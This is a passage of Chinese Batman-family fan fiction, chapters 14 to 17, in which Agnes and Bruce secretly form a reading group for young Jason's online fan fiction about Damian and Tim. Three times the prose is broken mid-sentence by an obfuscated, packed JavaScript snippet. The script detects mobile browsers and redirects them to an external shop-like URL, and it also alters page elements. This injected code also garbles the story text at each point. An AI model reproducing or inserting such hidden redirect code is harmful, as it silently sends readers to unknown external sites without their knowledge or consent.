“就算他真出了事,我也帮不上什么忙。”声音更小了,像是自言自语。 布鲁斯没有接这句话。他只是把手放在艾格尼斯头顶,多停留了几秒。 14. 第 14 章 沉默在书房里蔓延,但不是那种令人不安的沉默,同他们之间没有龃龉或是其他,有的是心照不宣的默契。更像是两个人都在整理自己的思绪,等准备好了再开口。 艾格尼斯先打破了沉默。 “我还是不明白。”他抬起头,看着布鲁斯,“你就这样纵着杰森?” “有什么问题吗?” “万一——”万一他哪天被达米安和提姆发现,甚至可能早就被发现……他从不怀疑“秘密”这个词在韦恩家的透明性。 “万一什么呢?”布鲁斯挑眉,那双蓝眼睛里带着一丝戏谑,“再怎么有事,结局如何你也不是没见过嘛。” 艾格尼斯噎住了。 这句话显然是意有所指。他想起了正序世界的自己——那个在蝙布圈子里知名但毁誉参半、最后发现蒸煮是同一个人、崩溃到三天没吃饭的自己。 结局如何? 结局是他现在坐在这里,被另一个世界的布鲁斯·韦恩本人调侃。 “你可真是……”艾格尼斯张了张嘴,发现自己竟然无法反驳。 布鲁斯这是在说:杰森就算现在嗑得再疯,最后顶多也就是社死一下,又不会真的怎么样——你看你,不也活得好好的吗? 那能一样吗?!那时候他已经是19岁的成年人,有成熟的人格和认知支撑他的世界崩塌,于是可以在家里所有人的善意嘲笑中泰然自若。 可是杰森呢?他还是个孩子! “你和我认识的布鲁斯,很不一样。”艾格尼斯牙咬切齿,“你的恶趣味明显更浓。” 这不是抱怨,不是批评,只是陈述。 “话不能这么说,万一只是那个布鲁斯没作弄到你头上呢?”布鲁斯靠在椅背上,双手交叠放在膝头。 “当然嘛,”他说,“我们毕竟不是完全的同一个人。” 他的语气很坦然,没有辩解,没有回避。 “达米安是我的第一个孩子,而非迪克。” 艾格尼斯沉默了。他知道这句话意味着什么。一个以达米安为长子的布鲁斯,和以迪克为长子的布鲁斯,走的是完全不同的路。 简直是被磨平了棱角。 “哼哼,”他故意用轻松的语气说,“看起来达米安对你的影响相当大呢。您的威严和沉默呢,您的说一不二呢,我亲爱的‘父亲’?” 他说“父亲”这个词的时候,声音有点紧。 布鲁斯看起来有些惊讶,还有点受宠若惊。 “我还以为你不会这么叫我,艾格尼斯。” “我确实不会这样称呼那位布鲁斯。”艾格尼斯的声音轻了下去,“但是不可否认,‘你’,确实是我的父亲。” 他说这话的时候没有看布鲁斯,而是盯着桌面上那沓杰森的同人文。纸页的边缘微微卷起,像是被人翻过很多遍。 “尽管现在的家庭规模远小于预期,”他顿了顿,“我想你也不会缺我一个吧。” 布鲁斯没有立刻回答。 他站起来,绕过书桌,走到艾格尼斯面前。然后他蹲下来,视线和坐在椅子上的八岁小孩齐平。 “别这么咄咄逼人嘛,孩子。”他说,伸手掐了一把艾格尼斯的脸。 这次艾格尼斯没有躲开。 “我确实不知道怎么做好一个父亲,”布鲁斯说,手上的力道很轻,更像是捏了捏,“但我可以解释。” 艾格尼斯鼓着脸,像一只气鼓鼓的河豚,瞪着眼前这个高大的男人。他还是不习惯“看见”,不习惯用孩子的眼观察这个世界。 但他能清晰地感受到布鲁斯传达出的、让艾格尼斯羞于说出口的、可以被称之为“爱”的情感。 “不要和我说是达米安太能干,让你失去了担起责任的机会。”明白这一点后,他有些慌乱地说。 “没有。”布鲁斯摇头,收回了手,“我承认,达米安比我想象中优秀得多,确实会让我这个做家长的感到……毫无作用。” 他的语气很平静,但艾格尼斯听出了那层平静底下的东西。 不是抱怨,不是自怜,而是一种已经消化了很久的、接受了的事实。恰如雏鹰终将飞向它的天空,布鲁斯接受了达米安的独立和翱翔,只是有些遗憾没能为他的羽翼增添更多光彩。 “但我为他骄傲。”布鲁斯说。 这四个字说得很重。 “战士、侦探、儿子……”他顿了顿,“在我尚未理解‘父亲’的责任时,达米安就早早地做到了能做的最好。就连提姆他也培养得很好,起码比我能为提姆做的好。” 他自嘲般地摊了摊手,“我可做不到像达米安那样要求提姆。”那些训练堪称地狱。 “有些时候,难免会对他觉得亏欠。再加上他大了,就更不知道怎么和他交流。” 艾格尼斯若有所思地点点头。 “恐怕还有自立门户之类的事吧。” 他指的是“夜刃”这个代号。如果他在这里收集的情报没错,达米安最开始的代号应该是蝙蝠小子之类的,后来才转为夜刃。 一个独立的、属于自己的身份。 “你是指代号?”布鲁斯说,“‘夜刃’很好听。” 当然,蝙蝠小子也不赖。这话两人都知道,但都没明说。况且达米安也没有像他认识的迪克一样去往新的城市,而是留在了哥谭。 艾格尼斯歪着头,看着布鲁斯的侧脸。 “好吧好吧,”他说,“说这么多,你就是想告诉我——你不会带孩子,所以就只会宠着杰森?” 布鲁斯有些不自在地摸了摸鼻子。 他确实不太知道怎么带孩子嘛。 从达米安开始,他就没搞明白过,准确来说是不知道正常孩子是什么样的。达米安来的时候已经十岁了,带着刺客联盟的训练和一套完整的、不需要父亲参与的人生观。他试着教,试着引导,但更多时候是达米安在推动他——推动他他怎么当一个“指挥官”,而不是一个“父亲”。 后来提姆加入这个家(先不提他算不算正常孩子)——准确来说是达米安将他绑了回来,一开始就没让他过多插手。达米安接手了大部分的训练和教育,他只需要站在旁边,偶尔点头,偶尔说一句“做得不错”。 再后来杰森来了,这次是他带回来的,达米安也是默认归他管了。他本来想像对待达米安那样——定规矩、设边界、一步一步来。但他发现自己做不到。不是因为软弱,而是因为他看到了另一个世界的影像。 那个世界的杰森死了。 不是“可能”会死,是“已经”死了。被撬棍打死的,在一场爆炸里。布鲁斯找到他的时候,已经来不及了。 从那之后,他就不太想管杰森了。 不是不想,而是出于一种保护性的回避。 怕管得太严,杰森会跑——事实证明即使所有人都表现得尽可能正常,杰森还是动动他聪明的小脑袋,误打误撞窥探到了部分真相,并积极寻求出逃。 怕管得太松,杰森又会变成无法挽回的遗憾。怕自己做的一切,最终都指向那个他不愿意看到的结局。 而这一切道路的分歧,最终聚焦于杰森是否会如无数个时间线里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454793|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,成为鸟儿飞向哥谭的天空。 所以再三思索后,他把杰森的道路选择权交给了他自己。如果杰森顺利发现了真相,那就让他跟着达米安和提姆训练。尽管那很残酷,但正如不变的真理,足够的武力总会给他更多的选择。 于是现在,杰森很自由。 杰森想写什么就写什么,杰森想什么时候起床就什么时候起床,杰森想半夜溜出去就半夜溜出去。没人会对他的行为表示斥责,只把他当一个普通孩子对待,好似他们真的只是个平平无奇的有钱人家。 一切的情感在艾格尼斯面前浮动,他无法准确品味其中的含义,不过本也不需要。人们用相同的语言表达情感,那相同的语言自然也能传递语言。 艾格尼斯看着布鲁斯的表情,什么都明白了。 布鲁斯只是选择了一种看起来最笨、但实际上最尊重杰森的方式——把选择权交还给杰森自己。 他想让杰森自己发现真相,自己选择道路,自己决定要不要成为这个家的一部分。而不是被强行拉进来,被训练,被保护,被塑造成某个“应该”的样子。 “你不是不管他。”艾格尼斯轻声说,“你是在等他走向你,走向你们,走向这个家。” 布鲁斯没有承认,也没有否认,“是‘我们’。” 他只是重新坐回椅子上,端起那杯已经彻底凉透的茶,喝了一口。 “茶凉了。”他说。 “别转移话题!”艾格尼斯瞪他。 布鲁斯放下茶杯,无奈看向这个八岁的孩子——不,这个从另一个世界穿越而来的、比他想象中更敏锐的灵魂。 “杰森的天赋,”布鲁斯说,“不在于他能打,不在于他聪明,而在于他能看见别人看不见的东西。” 他顿了顿。 “他看见达米安和提姆之间的默契,看见那些细微的、藏在日常里的关心。他只是用错了解读方式——但观察本身,没有错。” 艾格尼斯点头。 “所以他写的东西,”布鲁斯继续说,“哪怕方向错了,细节是真的。那些细节,是很多人一辈子都注意不到的。” 他看向桌上那沓纸,目光柔和。 “他的观察力,他的叙事节奏,他对人物微表情的捕捉——那是天赋,不是谁都能学会的。” 艾格尼斯眨眨眼:“你是在夸他?” “我在陈述事实。”布鲁斯突然话锋一转,“而且,我会把他在网上发的每一篇都打印出来,按时间顺序排列,留作纪念。” 艾格尼斯愣住了。 “你用蝙蝠电脑——”看这种东西!? “监控他的网络活动,确保他没有暴露身份。”布鲁斯接过话头,“顺便,打印。毕竟那是他来到这个家之后,找到的第一件让他真正开心的事。” 他的语气平淡得像在说今天天气不错。 “况且,我不是唯一一个这么做的。”说着,他对艾格尼斯露出一个笑,“猜猜看,有多少人通过蝙蝠电脑看过你的文章?” “啊啊啊啊啊不要说了!” “冷静点,你的文字相当具有感染力,没什么拿不出手的。” “比如那句【卢瑟终其一生, 最后没有真的杀死超人, 可能还有一个原因, 就是他忘不掉超人, 那一双忧郁的蓝眼睛。】写得真是太棒了。” 说到这里他甚至忍不住鼓起掌来,颇有些幸灾乐祸的意味。 “够了!不要再说下去了!”再说下去艾格尼斯就要移民外星哩! 15. 第 15 章 “好了,不逗你了,我们换个话题聊。” “你不介意吗?”艾格尼斯问,“他写的是达米安和提姆的CP。写的是你另外两个孩子的……那种关系。” 布鲁斯看了他一眼,目光平静。 “我了解达米安和提姆。我知道他们之间是什么关系——不是杰森写的那种。” “所以你不介意?” “不介意啊。”布鲁斯说,“杰森喜欢写,就让他写。等他将来回头看,会发现这些是他童年的一部分。至于达米安和提姆——你用担心,他们知道杰森在写什么,他们也没介意。” 是的,依照提姆的一贯风格,他不可能对杰森的小动作一无所知。甚至杰森到现在都在安安稳稳地写作只可能是他们睁一只眼闭一只眼的结果。 “所以,”布鲁斯摊手,“由着他去吧。” 艾格尼斯沉默了一会儿,然后忽然想到一个问题,嘴角忍不住翘了起来。 “那我呢?” 布鲁斯端茶杯的手微微一顿,“嗯?” 艾格尼斯不一直是家里最灵珠的那一个吗? “我还嗑蝙布呢,”艾格尼斯说,语气轻快得像在聊天气,有一种破罐子破摔的释然,“你也不介意?” 布鲁斯沉默了,然后放下茶杯,十指交叠,表情看起来十分严肃。 “你知道,身份问题一直都是义警生涯的重要课题,”他缓缓开口,“作为蝙蝠侠,有时候需要一些……掩护。” 艾格尼斯的眼睛亮了,满怀期待地等着他接下来的话。 哦对的对的对的! “布鲁斯·韦恩和蝙蝠侠‘关系不和’这件事,是公众认知的一部分。”布鲁斯说,嘴角微微翘起,“但如果有人在嗑他们的CP,那‘不和’就变成了‘刻意掩饰’。” “对于公众来说,后者比前者肯定更有趣。” “所以——你是在说——” “我没有在说任何事。”布鲁斯端起茶杯,挡住了下半张脸,“我只是在陈述一个事实:在某些时候,适度的‘绯闻’反而能保护真正的秘密。” 艾格尼斯盯着他,眼睛越睁越大。 “你卖蝙布!”他脱口而出,不可置信,“你居然会卖蝙布!?” 布鲁斯没有承认,也没有否认。 他只是露出一个意味深长的微笑。 艾格尼斯觉得自己又要原地去世了。 是幸福过度导致的。 “你卖蝙布。”他重复了一遍,声音发抖,“你——你自己——你在卖你自己和自己的CP?!” “我什么都没说。”布鲁斯举起双手,做了一个“投降”的手势。 “你刚才说了‘适度的绯闻能保护秘密’!这就是在卖!” “那只是你的解读,我从未承认。” “再说了,哥谭的地界上最不缺的就是韦恩的绯闻。” “布鲁斯·韦恩!” 布鲁斯终于笑了出来,笑声很轻,但在安静的深夜里格外清晰。 艾格尼斯瞪着他,恨不得在他手臂上咬上一口。 但奇怪的是,他发现自己并没有真的生气,甚至——甚至相当高兴! 他自己也不知道为什么,明明是被逗弄的那一个,好像也没有想象中的气愤。 也许是因为,蝙布这个CP,连蒸煮本人都觉得“有点意思”? 也许是因为,他嗑了那么多年的CP,终于得到了某种……来自正主的认可? 也许只是因为, “你这个人,哼,”艾格尼斯小声说,“真的很坏。” 布鲁斯挑了挑眉。 “你现在才了解我?” 艾格尼斯想了想。 “他至少不会当面拆穿我的马甲念我的文章。”他扁扁嘴,“也不会卖自己的CP。” “你怎么知道他没有?” 艾格尼斯彻底噎住了。 他张了张嘴,想反驳,却发现自己没有任何证据证明主世界的布鲁斯没有“卖”过自己的CP。 嗯……他怎么敢假定一个蝙蝠侠没有卖过蝙布呢?横竖布鲁斯·韦恩又不吃亏! “你……”艾格尼斯的声音有点发抖,“你们蝙蝠侠,是不是都这样?” 布鲁斯煞有介事地认真思考。 “也许。”他很中肯地说,“卖蝙布真的很有用。不仅蝙蝠侠的身份可以掩盖,连带着韦恩的股票也很稳定。” “怎么还有卖CP圈钱这一环节啊喂!” 他几乎是从椅子上蹦起来的,但腿太短,脚尖离地老远,整个人在半空中扑腾了两下,又重重落回椅子里。 艾格尼斯觉得自己今晚受到的冲击已经超出了八岁身体的承受范围。 “哥谭是商业城市。”布鲁斯说这话时,表情堪称无辜,“韦恩企业作为哥谭的支柱产业,保持股价稳定是我的职责。” “所以你就卖自己?!” “资本家的事,怎么能叫卖呢。” “我什么都没做。”布鲁斯一脸无辜,再次强调,“我只是……在某些场合,偶尔提到‘蝙蝠侠虽然手段粗暴,但哥谭缺少他不行’。” “至于媒体怎么解读,那是他们的事。” 艾格尼斯瞪着他,脑子里飞速回放那些年在论坛上嗑过的“糖”——布鲁斯在采访中提起蝙蝠侠时那微妙的表情、蝙蝠侠救布鲁斯时那“过分小心”的动作、两人在各种事件中“巧合”的错位…… 可恶!这要是真的他会更高兴! “你……”艾格尼斯的声音带着一种劫后余生的颤抖,“你知道我当年嗑得多认真吗?你知道我们为了分析你那个‘微妙表情’写了多少字吗?” “知道。”布鲁斯平静地说,“《于月色下》《呢喃似祷》《一万次相遇在一万次离别后》……” 艾格尼斯捂住了脸。 “不要再说了……求你了……” 黑历史就让它过去吧…… “嗯,”布鲁斯看够了小孩五颜六色的表情,终于将事情再次揭过,“其实有件事想和你商量。” “什么事?” 他指向桌上的纸。 “杰森在网上写的那部分。”布鲁斯说,“应该没给你看过吧。” 他之前还真不知道,杰森从来没跟他说过在网上发东西的事。毕竟那个家伙每次都是抱着笔记本冲进他的房间,一脸“你是我的独家读者”的得意表情——原来背地里还在网上偷偷发文? “他……没告诉我。”艾格尼斯说,声音里带着一丝说不清的情绪,一种微妙的被“瞒着”的感觉。明明他是杰森最忠实的线下读者,结果网上还有他不知道的更新?666吃独食不叫他。 布鲁斯似乎看穿了他的想法,嘴角微微翘起。 “他大概觉得,网上的是‘作品’,给你看的是‘证据’。”他说,“两者性质不同,所以没必要告诉你。” 艾格尼斯想了想杰森的逻辑,发现这确实很符合那个家伙的脑回路。笔记本上写的是“揭露黑暗豪门真相”的严肃记录,网上发的是“仅供娱乐”的同人创作——在杰森心里,这两件事大概真的不冲突。 这是什么?套娃式嗑CP?还是自产自销式社死预付款? “你为什么要和我说这个?”艾格尼斯问,虽然他心里已经有了答案。 布鲁斯看着他,目光温和。 “因为我诚挚地邀请你加入我们‘杰森阅读小组’。” “杰森阅读小组?” 艾格尼斯眨了眨眼,怀疑自己的耳朵出了问题。这是人话吗?这是该蝙蝠侠说出的话吗?!OOC警告! “对。”布鲁斯点头,语气平淡得像在说“今天天气不错”,“成员目前有我、卡珊德拉和斯蒂芬妮。” “……她们?” 艾格尼斯觉得自己今晚受到的冲击已经超出了八岁身体的承受范围——不,是超出了他整个人生的承受范围。 “所以,”他艰难地组织语言,“你们……有一个小组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454794|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……专门看杰森写的……那个?” “品鉴。”布鲁斯纠正道,“我们品鉴他的作品,注意措辞。” “……” 艾格尼斯张了张嘴,又闭上,又张开。 他脑子里浮现出一幅画面:布鲁斯·韦恩——蝙蝠侠,哥谭的黑暗骑士,正义联盟的顾问——和两个同样本事不小的女孩子坐在一起,屏幕上是杰森写的“恶魔与小白兔”同人文,他们一边看一边点评…… 哇,哥谭真是要完蛋了呢…… “你们是不是还会打分?”他听见自己问。 “偶尔。”布鲁斯面不改色,相当谦虚,“我们都认为杰森有进步空间,但我们毕竟不是专业人士,不太方便点评。” “……” “斯蒂芬妮说杰森的文笔比她想象的好,就是有些太老套了。”布鲁斯继续说,像是在汇报工作,“卡珊德拉说提姆不会那样说话——‘太软了’。至于我嘛……” “我觉得他对达米安和提姆关系的解读虽然方向不对,但细节捕捉确实很准。” 艾格尼斯沉默了很久。 他从来不知道,原来这个世界上真的有人会认真看同人文,拿同人当名著欣赏——而且看的人还是蒸煮本人。 不对,是蒸煮的爹。 这算什么事啊?! “所以,”艾格尼斯深吸一口气,“你邀请我加入这个小组,是为了——” “当然为了让你也享受这份乐趣啊。”布鲁斯表情认真得不像是在开玩笑。 “所以你希望我——” “我希望你能成为我们的新成员。”布鲁斯说,“卡珊德拉和斯蒂芬妮都不在哥谭,我们只能线上交流……总觉得少了点什么。” 他顿了顿,嘴角微微翘起。 “你不想看看我们家的大文豪的成名之路吗?” 艾格尼斯盯着他。 那双蓝眼睛里带着笑意,温和的、纵容的、甚至有一点点——恶作剧般的狡黠。 堪称恶魔的引诱。 “……你都这么说了,”艾格尼斯带着点果然如此的微笑,“我还能拒绝吗?” “不能。”布鲁斯说。 “那你还问?” “礼貌。” 艾格尼斯翻了个白眼,然后伸出手。 “成交。不过我有条件。” 布鲁斯挑眉:“当然。” “以后杰森更新了,你要第一时间告诉我。不能自己先看完,然后等我来了才给我看——我要和你同步看。” “可以。” “还有,”艾格尼斯补充,“你不能在他面前提起我知道他在网上发文的事。他现在还以为我只知道笔记本上的那些,我要保持这个‘独家读者’的身份。” “理解。” “最后——最最最重要的一点,”艾格尼斯深吸一口气,“如果有一天杰森发现这个小组的存在,你不能把我供出去。你要说我是被你拉进来的,不是主动加入的。” 布鲁斯看着他,眼里带着一丝玩味。 “你这是在给自己留后路?” “我在给自己留活路。”艾格尼斯一本正经,“你想啊,他要是知道我一直都在看他笑话还不告诉他,他会——” “会怎样?” “会和我绝交。”艾格尼斯想了想,补充道,“然后追着我打。” 布鲁斯笑了,笑声很轻,在安静的深夜里格外清晰。 “好。”他说,“我答应你。” 然后他伸出手,和艾格尼斯的小手握在一起。 布鲁斯的手很大,很暖,把艾格尼斯整个手掌都包住了。 艾格尼斯忽然觉得有点不好意思——这种“秘密结社”的感觉,怎么这么像小学生拉帮结派? 不对,他现在的身体本来就是小孩。 ……算了,不管了。 “那么,我们什么时候开始呢?”他松开手,努力让自己的声音听起来淡定。 “现在。” 16. 第 16 章 又一个晚上,我躺在床上,继续我的胡思乱想。 一如往常,杰森离开前,塞给我最新一叠稿子,说“你看看这段,明天告诉我感觉”。 语气像是循循善诱的大灰狼,但我对于做不做那只开门的兔子还有很深的疑虑——比如被达米安和提姆发现后怎么办。 当然,我现在知道了,他们大概早就发现了。 不仅发现了,还在暗中追更。 想到这里,我的心虚又加重了几分。我当然不是门后面一无所知的兔子,我居然是一个演技高超的、伪装成兔子的猎人!还和其他猎人约定好了,只待大灰狼傻乎乎地自己送上门。 太卑鄙了!我怎么这么坏呀! ……不对,我为什么要心虚?又不是我写的,也不是我要求的!我只是一个被强行塞稿的无辜读者!一个被迫参与讨论的、善良的、不忍心打击朋友热情的、无辜的旁观者! ……好吧,这个借口在“杰森阅读小组”成立之后,好像就不太站得住脚了。 我翻了个身,把脸埋进枕头里。 布鲁斯说“你不想看看我们家的大文豪的成名之路吗”的时候,我明明可以拒绝的。我明明可以义正词严地说“我不想参与这种欺骗杰森的活动”。我明明可以做一个正直的人、一个高尚的人、一个脱离了低级趣味的人—— 但我没有。 我不仅没有拒绝,还主动提出了要“同步看”。 我还和布鲁斯握了手,像两个共谋犯一样,在深夜里签订了那份见不得光的神圣契约。 我是怎么走到这一步的? 良心在滴血,真的在滴血。我甚至能感觉到它在胸腔里打滚、抽搐、发出无声的哀嚎。 “艾格尼斯·巴贝尔,”我的良心无比失望地说,“你居然和蝙蝠侠一起欺骗一个十二岁的孩子。你还是人吗?” “我只是在看同人文!”我在心里反驳,“我又没做什么伤天害理的事!” “你看同人文的方式是背着他看!是他不知道的!你还在他的文章里挑错别字!你还在背后评价他的文笔!你和他的养父组成了一个秘密小组,专门品鉴他的作品!你还管这叫‘阅读小组’?!” “那是布鲁斯起的名字!” “你答应了!” “我——” “你甚至在帮他校对!” “那是——那是品鉴!是艺术指导!是为了帮助他成长!” “你连署名都不敢。” 我的良心一句话把我噎死了。 是的,我不敢署名。我甚至不敢让杰森知道我在看他的网上连载。我现在在杰森面前的身份,还是那个“只看过笔记本的、善良的、天真的、被他的‘证据’说服的、无辜的、总之一切美好但和我不沾边的词语形容的读者”。 我叹了口气,看向那叠稿子。 我没看,我没敢看。 我怕看了之后,自己彻底沦陷。 ——这就是CP的魔力吗?还是杰森的本事? ——明明知道是假的,还是忍不住上头。 我任命般叹了口气,拿起稿子。 标题:《如果有一天你不在》 【他从来没有想过这个问题。 他不在的时候,会是什么样子? 他试着想象。 他旁边没有人,咖啡不用准备两份,文件不用提前发。 走廊上,身后没有脚步声。转角处,没有人等他。 深夜,书房只有他一个人。灯亮着,但没有人端着咖啡推门进来。 他试着想象。 然后他放弃了。 因为他发现,他想象不出来。 那个人,从一开始就在。 从他被带进这个家的第一天起,他就一直在。 他从来没有想过,如果有一天他不在,他会变成什么样子。 ——他不敢想。】 ……下次还是教教杰森怎么起名吧,就这么随便截一句话就当标题也不是个事。当然我自己也不怎么样,写短篇都是什么《N次……,一次……》之类烂大街的。 不过这次的片段确实让我想起主世界的达米安和提姆。 达米安嘴上从不承认,但他每次出任务回来,第一个问的是“德雷克呢”,然后迫不及待开启互相嘲讽和比较。提姆每次熬夜,桌上都会多一杯温度刚好的咖啡——没人知道是谁放的,但会往里面投毒做耐药训练的就那么一个呢(摊手)。 他们从来没说过那些话,我是指直接——比起语言,直接对打是他们更加中意的相处方式。尽管达米安年岁渐长身量像吃了金坷垃一样猛蹿,“肢体接触”的激烈程度也随之逐年下降,但更多时候他们的针锋相对都像是例行惯例一样随意而平淡,仿佛少了这一部分都像是生命不完整。 这么说起来,他们做的那些事,和杰森写的,好像……也没差太多。 毕竟,这也算是另类的“恨比爱长久”。 我放下稿子,望着天花板。 ——所以问题到底出在哪? 是杰森把兄弟情写成了爱情? 还是兄弟情和爱情,本来就没那么明显的界限? ——不对,我在想什么?! 我翻身坐起来,抱着膝盖,开始进行严肃的自我反省。 第一,我确实在帮布鲁斯“品鉴”杰森的作品。这本身没什么问题——布鲁斯是杰森的养父,他关心孩子的成长,这是很正常的。 第二,我没有主动欺骗杰森。我只是……没有告诉他全部真相。这是善意的隐瞒,是为了保护他的创作热情。 第三,我…… 我的良心又开始抽搐了。这和到网上问有什么借口可以吃养了几年的羊还能良心上过得去一样惺惺作态! “你连自己都骗不了。”良心说。 “……雪豹闭嘴。” 我重新躺回床上,盯着天花板。 窗外的月光透过窗帘的缝隙漏进来,在天花板上画出一道细细的白线。 真是令人心旷神怡的美景呢,起码对于我是的。 艾格尼斯,好不容易重来一回,还用有了视力,想想看,你最初的心愿呢,现在的结果呢? 悲剧还没改变,正轨还没走上,我先走上了“和蝙蝠侠合起伙来欺骗十二岁小孩”的不归路。 这就是穿越者的宿命吗? 我闭上眼睛。 算了。 至于良心—— 良心这种东西,在哥谭生活久了,大概都会自动休眠的吧。 ……大概。 ———— 第二天早上,杰森又准时出现在我床边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454795|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几天他起早贪黑地为米提CP拉磨,敬业程度堪比蝙蝠侠——不,比蝙蝠侠还敬业。蝙蝠侠好歹还会休息休息看看他的同人,而杰森的黑眼圈已经快掉到下巴了。 “怎么样怎么样?昨晚那章看了吗?” 他蹲在我床边,两只手扒着床沿,眼睛亮得像两颗灯泡。 我看着他,忽然觉得良心又疼了一下。 这孩子不知道,,他最好的朋友已经在他的文章里挑出了十七个错别字、三个逻辑漏洞和一处人物OOC。 他什么都不知道。 他只是一个单纯的、热情的、满脑子狗血爱情故事的十二岁小孩。 而他的朋友——我——正在和黑漆漆合起伙来骗他。 “艾格?”杰森在我面前挥了挥手,“你发什么呆?看了吗看了吗?” “……看了。”我听见自己说,声音平静得像什么事都没有。 良心又在滴血了。 “感觉怎么样!”杰森的眼睛又亮了几分,像是叼着纸巾回来的小小猫,等着主人奖励。 “真棒!” 杰森激动得差点蹦起来:“是吧是吧!我也最喜欢那段!那种‘已经习惯了他在身边,无法想象没有他的日子’的感觉——” “嗯。”我点头,脸上挂着温和的微笑。 我对不起你!杰森。 “那你现在相信他们俩有一腿了吗?” 我叹了口气。 我已经深刻明白了当年蝙蝠们的心情——甚至杰森嗑的CP里还不包括布鲁斯,但抓马程度一点也不少。 “……我不知道。”我说。 杰森愣住了:“不知道?!” “我不知道他们是不是有一腿。”我说,尽量让自己的声音听起来正常,“但我知道,你写得挺好的。” “所以……你是在嗑,还是不嗑?” “我在……嗑你写的东西。”我说。 “那不就是嗑他们俩吗?” 我急忙辩解:“不是!我是嗑你写的他们俩。真实的他们俩,我不知道。” 杰森皱眉:“有区别吗?” “……有啊。区别是,我知道你写的可能是假的,但我还是觉得好看。” 杰森愣了三秒。 然后他笑了。 那笑容,灿烂得像个真的十二岁孩子——他本来就是。 “行。”他说,“那你就嗑我写的。反正我写的,绝对比真的还真!” 我看着他,只是轻轻“嗯”了一声。 嗯,嗑CP——还真就是喜欢笔下的,不是真实的——这我太有经验了! “……杰森。” “嗯?” “我会永远支持你的!” 就像你以前偷偷给我从外面偷渡绝版蝙布本子进韦恩庄园一样! ……不对,那个“你”不是这个“你”,但意思到了就行。 杰森的耳朵红得要滴血。 他低着头,把稿子收起来,小声说: “……那你还想看吗?” 我看着他。 看着这个十二岁的、满脑子狗血爱情故事的、坚信自己在记录真相的、正义感爆棚的小孩。 “……想看。”我说。 杰森抬起头,眼睛亮得像星星。 “那我马上就写!” 17. 第 17 章 杰森身上有一种可怕的品质: 一旦认定了某件事,他就会用生命去证明它。 这一点,早在另一个世界就已经验证过很多次。而现在,我站在他房间里,看着眼前的一切——准确地说,是看着杰森不知道从哪里弄来的、此刻正贴在墙上的那些东西。 “这是……” “证据链。”杰森的声音里带着一种神圣的庄严,一种近乎虔诚的热情,“我花了三天整理的。” “三天,整整三天。” 墙上贴着十几张纸,用线像模像样地连接,形成了一个复杂的网状结构。每张纸上写着日期、时间、地点、事件描述。红绳的交叉点贴着拍立得照片——我不知道杰森从哪弄来的相机,但照片上确实是达米安和提姆的身影:在走廊并肩行走的、在餐桌旁坐着的、在书房门口说话的…… 照片边缘还有手写标注。 我走近一点,看清了其中一张: 【X月X日,下午3:47,东翼走廊。他们从书房出来,距离0.3米。提姆的眼神(放大后可见)偏向达米安的方向。达米安的手(模糊但可辨认)微微抬起,疑似想碰触但克制。】 “……” “?” 这是你的人设吗你就上!?怎么连最质朴的杰森你也变成斯托卡了?不要哇! 我转向另一张: 【X月X日,晚10:12,厨房。提姆端咖啡走向东翼。注意他的表情:疲惫但坚定。这是第47次深夜送咖啡。统计显示,提姆送咖啡时,达米安加班概率100%。结论:提姆的咖啡是达米安熬夜的唯一理由。】 我深吸一口气。 “你从哪学的这个?”这个专业性不一般呐。 杰森挠挠头:“图书馆有本书,叫《刑侦证据链构建入门》,我拿来看了看。”他顿了顿,又补充道,“而且达米安给我安排的课程里也有类似的东西——虽然我很讨厌他逼我学这个,但不得不说确实帮了大忙。” 哈!? 一个十二岁的孩子,为了证明他的十九岁和十六岁的兄弟在谈恋爱,去学了刑侦证据学。 这是什么精神? 这是为爱发电的最高境界!这是我辈楷模!和他相比我还是纯度太低了。 杰森拉着我在床边坐下,开始向“单纯无知”的“小粉丝”传授他的“证据体系”。 “你看,我分了三条线。”他用一根不知道从哪捡来的小棍子指着墙上的证据链,表情严肃认真,“第一条是‘日常互动线’——记录他们每天的接触频率、时长、距离。你看这里——” 他指向一张纸,上面画着折线图。 “这是过去三周的接触时长统计。平均每天4.7小时,包括同处书房、一起用餐、走廊同行等。这个数字,远超正常兄弟互动标准。” 我刚想说什么,杰森已经指向另一条线。 “第二条是‘特殊事件线’——记录那些超越常规的瞬间。比如——” 他翻出一个笔记本,翻开某页,清了清嗓子,念出来。 “X月X日,提姆差点摔倒,达米安扶住他,持续2.3秒,我数了。” “……你数了?” “当然!这种关键证据必须精确到秒!” 他继续翻。 “X月X日,达米安把外套披在提姆肩上,因为空调太冷。提姆低头笑了一下,好甜!注意,‘笑了一下’——这种表情,提姆对别人从来没有过!” 